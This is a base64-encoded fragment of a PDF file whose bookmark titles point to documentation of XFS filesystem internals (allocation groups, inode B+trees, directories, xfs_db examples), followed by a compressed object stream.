c3QgNDYxIDAgUi9QYXJlbnQgNDI3IDAgUi9BIDQ2MiAwIFIvTmV4dCA0NTggMCBSL0NvdW50IDQv TGFzdCA0NjMgMCBSL1ByZXYgNDY0IDAgUi9UaXRsZSj+/wBBAEcAIABJAG4AbwBkAGUAIABNAGEA bgBhAGcAZQBtAGUAbgB0ACApPj4NZW5kb2JqDTQ2MSAwIG9iajw8L1BhcmVudCA0NjAgMCBSL0Eg NDc5IDAgUi9OZXh0IDQ3NiAwIFIvVGl0bGUo/v8ASQBuAG8AZABlACAATgB1AG0AYgBlAHIAcwAg KT4+DWVuZG9iag00NjIgMCBvYmo8PC9EWzM5IDAgUi9YWVogMCA3NTggbnVsbF0vUy9Hb1RvPj4N ZW5kb2JqDTQ2MyAwIG9iajw8L0ZpcnN0IDQ3NCAwIFIvUGFyZW50IDQ2MCAwIFIvQSA0NzUgMCBS L0NvdW50IDEvTGFzdCA0NzQgMCBSL1ByZXYgNDc2IDAgUi9UaXRsZSj+/wBJAG4AbwBkAGUAIABC ACsAdAByAGUAZQBzACApPj4NZW5kb2JqDTQ2NCAwIG9iajw8L0ZpcnN0IDQ2NSAwIFIvUGFyZW50 IDQyNyAwIFIvQSA0NjYgMCBSL05leHQgNDYwIDAgUi9Db3VudCA0L0xhc3QgNDY3IDAgUi9QcmV2 IDQyOCAwIFIvVGl0bGUo/v8AQQBHACAARgByAGUAZQAgAFMAcABhAGMAZQAgAE0AYQBuAGEAZwBl AG0AZQBuAHQAICk+Pg1lbmRvYmoNNDY1IDAgb2JqPDwvUGFyZW50IDQ2NCAwIFIvQSA0NzMgMCBS L05leHQgNDcwIDAgUi9UaXRsZSj+/wBBAEcAIABGAHIAZQBlACAAUwBwAGEAYwBlACAAQgBsAG8A YwBrACApPj4NZW5kb2JqDTQ2NiAwIG9iajw8L0RbMjggMCBSL1hZWiAwIDc1OCBudWxsXS9TL0dv VG8+Pg1lbmRvYmoNNDY3IDAgb2JqPDwvRmlyc3QgNDY4IDAgUi9QYXJlbnQgNDY0IDAgUi9BIDQ2 OSAwIFIvQ291bnQgMS9MYXN0IDQ2OCAwIFIvUHJldiA0NzAgMCBSL1RpdGxlKP7/ACAAQQBHACAA RgByAGUAZQAgAEwAaQBzAHQAICk+Pg1lbmRvYmoNNDY4IDAgb2JqPDwvUGFyZW50IDQ2NyAwIFIv QSA0NzIgMCBSL1RpdGxlKP7/AHgAZgBzAF8AZABiACAARQB4AGEAbQBwAGwAZQBzADoAICk+Pg1l bmRvYmoNNDY5IDAgb2JqPDwvRFszNCAwIFIvWFlaIDAgNzU4IG51bGxdL1MvR29Ubz4+DWVuZG9i ag00NzAgMCBvYmo8PC9QYXJlbnQgNDY0IDAgUi9BIDQ3MSAwIFIvTmV4dCA0NjcgMCBSL1ByZXYg NDY1IDAgUi9UaXRsZSj+/wBBAEcAIABGAHIAZQBlACAAUwBwAGEAYwBlACAAQgArAHQAcgBlAGUA cwAgKT4+DWVuZG9iag00NzEgMCBvYmo8PC9EWzMwIDAgUi9YWVogMCA1MDYgbnVsbF0vUy9Hb1Rv Pj4NZW5kb2JqDTQ3MiAwIG9iajw8L0RbMzQgMCBSL1hZWiAwIDMyMSBudWxsXS9TL0dvVG8+Pg1l bmRvYmoNNDczIDAgb2JqPDwvRFsyOCAwIFIvWFlaIDAgNjU5IG51bGxdL1MvR29Ubz4+DWVuZG9i ag00NzQgMCBvYmo8PC9QYXJlbnQgNDYzIDAgUi9BIDQ3OCAwIFIvVGl0bGUo/v8AeABmAHMAXwBk AGIAIABFAHgAYQBtAHAAbABlAHMAOgAgKT4+DWVuZG9iag00NzUgMCBvYmo8PC9EWzQyIDAgUi9Y WVogMCA0NjUgbnVsbF0vUy9Hb1RvPj4NZW5kb2JqDTQ3NiAwIG9iajw8L1BhcmVudCA0NjAgMCBS L0EgNDc3IDAgUi9OZXh0IDQ2MyAwIFIvUHJldiA0NjEgMCBSL1RpdGxlKP7/AEkAbgBvAGQAZQAg AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgKT4+DWVuZG9iag00NzcgMCBvYmo8PC9EWzM5IDAgUi9Y WVogMCA0NDYgbnVsbF0vUy9Hb1RvPj4NZW5kb2JqDTQ3OCAwIG9iajw8L0RbNjkgMCBSL1hZWiAw IDc3MCBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNDc5IDAgb2JqPDwvRFszOSAwIFIvWFlaIDAgNzE3 IG51bGxdL1MvR29Ubz4+DWVuZG9iag00ODAgMCBvYmo8PC9QYXJlbnQgNDU3IDAgUi9BIDQ5NCAw IFIvVGl0bGUo/v8ARQB4AHQAZQBuAGQAZQBkACAAQQB0AHQAcgBpAGIAdQB0AGUAIABWAGUAcgBz AGkAbwBuAHMAICk+Pg1lbmRvYmoNNDgxIDAgb2JqPDwvRFs5MSAwIFIvWFlaIDAgNzU4IG51bGxd L1MvR29Ubz4+DWVuZG9iag00ODIgMCBvYmo8PC9GaXJzdCA0ODMgMCBSL1BhcmVudCA0NTQgMCBS L0EgNDg0IDAgUi9OZXh0IDQ1NyAwIFIvQ291bnQgNC9MYXN0IDQ4NSAwIFIvUHJldiA0ODYgMCBS L1RpdGxlKP7/AEQAYQB0AGEAIABGAG8AcgBrACApPj4NZW5kb2JqDTQ4MyAwIG9iajw8L1BhcmVu dCA0ODIgMCBSL0EgNDkzIDAgUi9OZXh0IDQ5MSAwIFIvVGl0bGUo/v8AUgBlAGcAdQBsAGEAcgAg AEYAaQBsAGUAcwAgAFwoAFMAXwBJAEYAUgBFAEcAXCkAICk+Pg1lbmRvYmoNNDg0IDAgb2JqPDwv RFs4OCAwIFIvWFlaIDAgNzU4IG51bGxdL1MvR29Ubz4+DWVuZG9iag00ODUgMCBvYmo8PC9QYXJl bnQgNDgyIDAgUi9BIDQ4OCAwIFIvUHJldiA0ODkgMCBSL1RpdGxlKP7/AE8AdABoAGUAcgAgAEYA aQBsAGUAIABUAHkAcABlAHMAICk+Pg1lbmRvYmoNNDg2IDAgb2JqPDwvUGFyZW50IDQ1NCAwIFIv QSA0ODcgMCBSL05leHQgNDgyIDAgUi9QcmV2IDQ1NSAwIFIvVGl0bGUo/v8AVQBuAGwAaQBuAGsA ZQBkACAAUABvAGkAbgB0AGUAcgAgKT4+DWVuZG9iag00ODcgMCBvYmo8PC9EWzg1IDAgUi9YWVog MCA3NTggbnVsbF0vUy9Hb1RvPj4NZW5kb2JqDTQ4OCAwIG9iajw8L0RbODggMCBSL1hZWiAwIDE0 OSBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNDg5IDAgb2JqPDwvUGFyZW50IDQ4MiAwIFIvQSA0OTAg MCBSL05leHQgNDg1IDAgUi9QcmV2IDQ5MSAwIFIvVGl0bGUo/v8AUwB5AG0AYgBvAGwAaQBjACAA TABpAG4AawBzACAAXCgAUwBfAEkARgBMAE4ASwBcKQAgKT4+DWVuZG9iag00OTAgMCBvYmo8PC9E Wzg4IDAgUi9YWVogMCAyOTIgbnVsbF0vUy9Hb1RvPj4NZW5kb2JqDTQ5MSAwIG9iajw8L1BhcmVu dCA0ODIgMCBSL0EgNDkyIDAgUi9OZXh0IDQ4OSAwIFIvUHJldiA0ODMgMCBSL1RpdGxlKP7/AEQA aQByAGUAYwB0AG8AcgBpAGUAcwAgAFwoAFMAXwBJAEYARABJAFIAXCkAICk+Pg1lbmRvYmoNNDky IDAgb2JqPDwvRFs4OCAwIFIvWFlaIDAgNDY3IG51bGxdL1MvR29Ubz4+DWVuZG9iag00OTMgMCBv Ymo8PC9EWzg4IDAgUi9YWVogMCA2MzMgbnVsbF0vUy9Hb1RvPj4NZW5kb2JqDTQ5NCAwIG9iajw8 L0RbOTEgMCBSL1hZWiAwIDQyMiBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNDk1IDAgb2JqPDwvRFs3 NiAwIFIvWFlaIDAgNzU4IG51bGxdL1MvR29Ubz4+DWVuZG9iag00OTYgMCBvYmo8PC9QYXJlbnQg NDUzIDAgUi9BIDQ5OCAwIFIvVGl0bGUo/v8AeABmAHMAXwBkAGIAIABFAHgAYQBtAHAAbABlADoA ICk+Pg1lbmRvYmoNNDk3IDAgb2JqPDwvRFsxMDAgMCBSL1hZWiAwIDc1OCBudWxsXS9TL0dvVG8+ Pg1lbmRvYmoNNDk4IDAgb2JqPDwvRFsxMDYgMCBSL1hZWiAwIDc3MCBudWxsXS9TL0dvVG8+Pg1l bmRvYmoNNDk5IDAgb2JqPDwvUGFyZW50IDQ1MSAwIFIvQSA1MDEgMCBSL1RpdGxlKP7/AHgAZgBz AF8AZABiACAARQB4AGEAbQBwAGwAZQA6ACApPj4NZW5kb2JqDTUwMCAwIG9iajw8L0RbOTYgMCBS L1hZWiAwIDc1OCBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNTAxIDAgb2JqPDwvRFs5NiAwIFIvWFla IDAgMzAyIG51bGxdL1MvR29Ubz4+DWVuZG9iag01MDIgMCBvYmo8PC9QYXJlbnQgNDQ5IDAgUi9B IDUxNiAwIFIvVGl0bGUo/v8AeABmAHMAXwBkAGIAIABFAHgAYQBtAHAAbABlADoAICk+Pg1lbmRv YmoNNTAzIDAgb2JqPDwvRFsxNTQgMCBSL1hZWiAwIDc1OCBudWxsXS9TL0dvVG8+Pg1lbmRvYmoN NTA0IDAgb2JqPDwvRmlyc3QgNTA1IDAgUi9QYXJlbnQgNDQ2IDAgUi9BIDUwNiAwIFIvTmV4dCA0 NDkgMCBSL0NvdW50IDEvTGFzdCA1MDUgMCBSL1ByZXYgNTA3IDAgUi9UaXRsZSj+/wBOAG8AZABl ACAARABpAHIAZQBjAHQAbwByAGkAZQBzACApPj4NZW5kb2JqDTUwNSAwIG9iajw8L1BhcmVudCA1 MDQgMCBSL0EgNTE1IDAgUi9UaXRsZSj+/wB4AGYAcwBfAGQAYgAgAEUAeABhAG0AcABsAGUAOgAg KT4+DWVuZG9iag01MDYgMCBvYmo8PC9EWzE0MiAwIFIvWFlaIDAgNzU4IG51bGxdL1MvR29Ubz4+ DWVuZG9iag01MDcgMCBvYmo8PC9GaXJzdCA1MDggMCBSL1BhcmVudCA0NDYgMCBSL0EgNTA5IDAg Ui9OZXh0IDUwNCAwIFIvQ291bnQgMS9MYXN0IDUwOCAwIFIvUHJldiA1MTAgMCBSL1RpdGxlKP7/ AEwAZQBhAGYAIABEAGkAcgBlAGMAdABvAHIAaQBlAHMAICk+Pg1lbmRvYmoNNTA4IDAgb2JqPDwv UGFyZW50IDUwNyAwIFIvQSA1MTQgMCBSL1RpdGxlKP7/ACAAIAB4AGYAcwBfAGQAYgAgAEUAeABh AG0AcABsAGUAOgAgKT4+DWVuZG9iag01MDkgMCBvYmo8PC9EWzEyOSAwIFIvWFlaIDAgNzU4IG51 bGxdL1MvR29Ubz4+DWVuZG9iag01MTAgMCBvYmo8PC9GaXJzdCA1MTEgMCBSL1BhcmVudCA0NDYg MCBSL0EgNTEyIDAgUi9OZXh0IDUwNyAwIFIvQ291bnQgMS9MYXN0IDUxMSAwIFIvUHJldiA0NDcg MCBSL1RpdGxlKP7/AEIAbABvAGMAawAgAEQAaQByAGUAYwB0AG8AcgBpAGUAcwAgKT4+DWVuZG9i ag01MTEgMCBvYmo8PC9QYXJlbnQgNTEwIDAgUi9BIDUxMyAwIFIvVGl0bGUo/v8AeABmAHMAXwBk AGIAIABFAHgAYQBtAHAAbABlADoAICk+Pg1lbmRvYmoNNTEyIDAgb2JqPDwvRFsxMTggMCBSL1hZ WiAwIDc1OCBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNTEzIDAgb2JqPDwvRFsxMjMgMCBSL1hZWiAw IDUzMyBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNTE0IDAgb2JqPDwvRFsxMzIgMCBSL1hZWiAwIDc3 MCBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNTE1IDAgb2JqPDwvRFsxNDcgMCBSL1hZWiAwIDc3MCBu dWxsXS9TL0dvVG8+Pg1lbmRvYmoNNTE2IDAgb2JqPDwvRFsxNTQgMCBSL1hZWiAwIDU1OSBudWxs XS9TL0dvVG8+Pg1lbmRvYmoNNTE3IDAgb2JqPDwvUGFyZW50IDQ0NyAwIFIvQSA1MTkgMCBSL1Rp dGxlKP7/AHgAZgBzAF8AZABiACAARQB4AGEAbQBwAGwAZQA6ACApPj4NZW5kb2JqDTUxOCAwIG9i ajw8L0RbMTExIDAgUi9YWVogMCA3NTggbnVsbF0vUy9Hb1RvPj4NZW5kb2JqDTUxOSAwIG9iajw8 L0RbMTE0IDAgUi9YWVogMCA1OTcgbnVsbF0vUy9Hb1RvPj4NZW5kb2JqDTUyMCAwIG9iajw8L1Bh cmVudCA0NDUgMCBSL0EgNTIyIDAgUi9UaXRsZSj+/wB4AGYAcwBfAGQAYgAgAEUAeABhAG0AcABs AGUAOgAgKT4+DWVuZG9iag01MjEgMCBvYmo8PC9EWzE2MyAwIFIvWFlaIDAgNzU4IG51bGxdL1Mv R29Ubz4+DWVuZG9iag01MjIgMCBvYmo8PC9EWzE2MyAwIFIvWFlaIDAgMzYwIG51bGxdL1MvR29U bz4+DWVuZG9iag01MjMgMCBvYmo8PC9QYXJlbnQgNDQzIDAgUi9BIDUyNSAwIFIvVGl0bGUo/v8A eABmAHMAXwBkAGIAIABFAHgAYQBtAHAAbABlADoAICk+Pg1lbmRvYmoNNTI0IDAgb2JqPDwvRFsx NjEgMCBSL1hZWiAwIDY4MCBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNTI1IDAgb2JqPDwvRFsxNjEg MCBSL1hZWiAwIDQwNCBudWxsXS9TL0dvVG8+Pg1lbmRvYmoNNTI2IDAgb2JqPDwvUGFyZW50IDQ0 MSAwIFIvQSA1MzYgMCBSL1RpdGxlKP7/AHgAZgBzAF8AZABiACAARQB4AGEAbQBwAGwAZQA6ACAp Pj4NZW5kb2JqDTUyNyAwIG9iajw8L0RbMTkxIDAgUi9YWVogMCA3NTggbnVsbF0vUy9Hb1RvPj4N ZW5kb2JqDTUyOCAwIG9iajw8L0ZpcnN0IDUyOSAwIFIvUGFyZW50IDQzOCAwIFIvQSA1MzAgMCBS L05leHQgNDQxIDAgUi9Db3VudCAxL0xhc3QgNTI5IDAgUi9QcmV2IDUzMSAwIFIvVGl0bGUo/v8A TgBvAGQAZQAgAEEAdAB0AHIAaQBiAHUAdABlAHMAICk+Pg1lbmRvYmoNNTI5IDAgb2JqPDwvUGFy ZW50IDUyOCAwIFIvQSA1MzUgMCBSL1RpdGxlKP7/AHgAZgBzAF8AZABiACAARQB4AGEAbQBwAGwA ZQA6ACApPj4NZW5kb2JqDTUzMCAwIG9iajw8L0RbMTg0IDAgUi9YWVogMCA3NTggbnVsbF0vUy9H b1RvPj4NZW5kb2JqDTUzMSAwIG9iajw8L0ZpcnN0IDUzMiAwIFIvUGFyZW50IDQzOCAwIFIvQSA1 MzMgMCBSL05leHQgNTI4IDAgUi9Db3VudCAxL0xhc3QgNTMyIDAgUi9QcmV2IDQzOSAwIFIvVGl0 bGUo/v8ATABlAGEAZgAgAEEAdAB0AHIAaQBiAHUAdABlAHMAICk+Pg1lbmRvYmoNNTMyIDAgb2Jq PDwvUGFyZW50IDUzMSAwIFIvQSA1MzQgMCBSL1RpdGxlKP7/AHgAZgBzAF8AZABiACAARQB4AGEA bQBwAGwAZQA6ACApPj4NZW5kb2JqDTUzMyAwIG9iajw8L0RbMTc1IDAgUi9YWVogMCA3NTggbnVs bF0vUy9Hb1RvPj4NZW5kb2JqDTUzNCAwIG9iajw8L0RbMTgwIDAgUi9YWVogMCA2NDggbnVsbF0v Uy9Hb1RvPj4NZW5kb2JqDTUzNSAwIG9iajw8L0RbMTg3IDAgUi9YWVogMCA3NzAgbnVsbF0vUy9H b1RvPj4NZW5kb2JqDTUzNiAwIG9iajw8L0RbMTkxIDAgUi9YWVogMCA2NDcgbnVsbF0vUy9Hb1Rv Pj4NZW5kb2JqDTUzNyAwIG9iajw8L1BhcmVudCA0MzkgMCBSL0EgNTM5IDAgUi9UaXRsZSj+/wB4 AGYAcwBfAGQAYgAgAEUAeABhAG0AcABsAGUAOgAgKT4+DWVuZG9iag01MzggMCBvYmo8PC9EWzE2 NyAwIFIvWFlaIDAgNzU4IG51bGxdL1MvR29Ubz4+DWVuZG9iag01MzkgMCBvYmo8PC9EWzE2OSAw IFIvWFlaIDAgNzcwIG51bGxdL1MvR29Ubz4+DWVuZG9iag01NDAgMCBvYmo8PC9EWzIwMSAwIFIv WFlaIDAgNzU4IG51bGxdL1MvR29Ubz4+DWVuZG9iag01NDEgMCBvYmo8PC9EWzE5NCAwIFIvWFla IDAgNjgxIG51bGxdL1MvR29Ubz4+DWVuZG9iag01NDIgMCBvYmo8PC9QYXJlbnQgNDI4IDAgUi9B IDU0NCAwIFIvVGl0bGUo/v8AeABmAHMAXwBkAGIAIABFAHgAYQBtAHAAbABlADoAICk+Pg1lbmRv YmoNNTQzIDAgb2JqPDwvRFsxNCAwIFIvWFlaIDAgNzU4IG51bGxdL1MvR29Ubz4+DWVuZG9iag01 NDQgMCBvYmo8PC9EWzI0IDAgUi9YWVogMCAyNzQgbnVsbF0vUy9Hb1RvPj4NZW5kb2JqDTU0NSAw IG9iajw8L0RbNyAwIFIvWFlaIDAgNzU4IG51bGxdL1MvR29Ubz4+DWVuZG9iag01NDYgMCBvYmo8 PC9GaXJzdCA5OTMvTGVuZ3RoIDg1MzEvRmlsdGVyL0ZsYXRlRGVjb2RlL04gMTAwL1R5cGUvT2Jq U3RtPj5zdHJlYW0NCnja7J3tjxxFksb/lZb4eBKTT+RrnVZI4F1uOVhA2Hf3wfKHATesb82MNYxv 4b/fyO78Zb95GXsO3xloaRdHZVdFZGVGRmU9T1RMXsoqrPJSV4v8n7bSotgbli61sCohrCwoLC7J pRyKS+bSouRSXJmimUvJpZr7eXllFlt2qbjUSnSpriym0K9oXar918WlnFyf3EYsqi65jaSuT24j lexXyG1ki3LJbeS2Oc9tuKF+ntsoJfU2t1Gqmktuo+bYJbfRQvX7MLfRcrdrbqM181/djkt+r8Xc xhKT2zC3sXgXXMpdat57K6sYgvq11SWVrq+5lJf+6+LS0rX4yEWZ96h4b6OW7FdEW8XefZfiKvqJ biMml3LuUl651ei9j24jmY9O8SOXatfnNtKiLrmNHLvm5DZybX6e9za6Ib82uQ3/j9tIbqMsfq8l uY1qza9NbqPWPgY+1rG22NvcRl26teQ2mnfBpaVLze88u4226Z//Py6h2/Wxjkv2uS05dsnvtc+O S/0u/f9x6XNbculS7le4jaX2Oc9uY2k+dsX9Iy5L1+xjmELovxZ1qc9lMZfkHlfcZ1zatCWXrLjm kl2K1q8tXar92upS6pr9DJe6x5bFpexjXGq3kftY1W6jj1ip3UZ1S6V2G63fW+02Wh+h2m0s1q/t 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 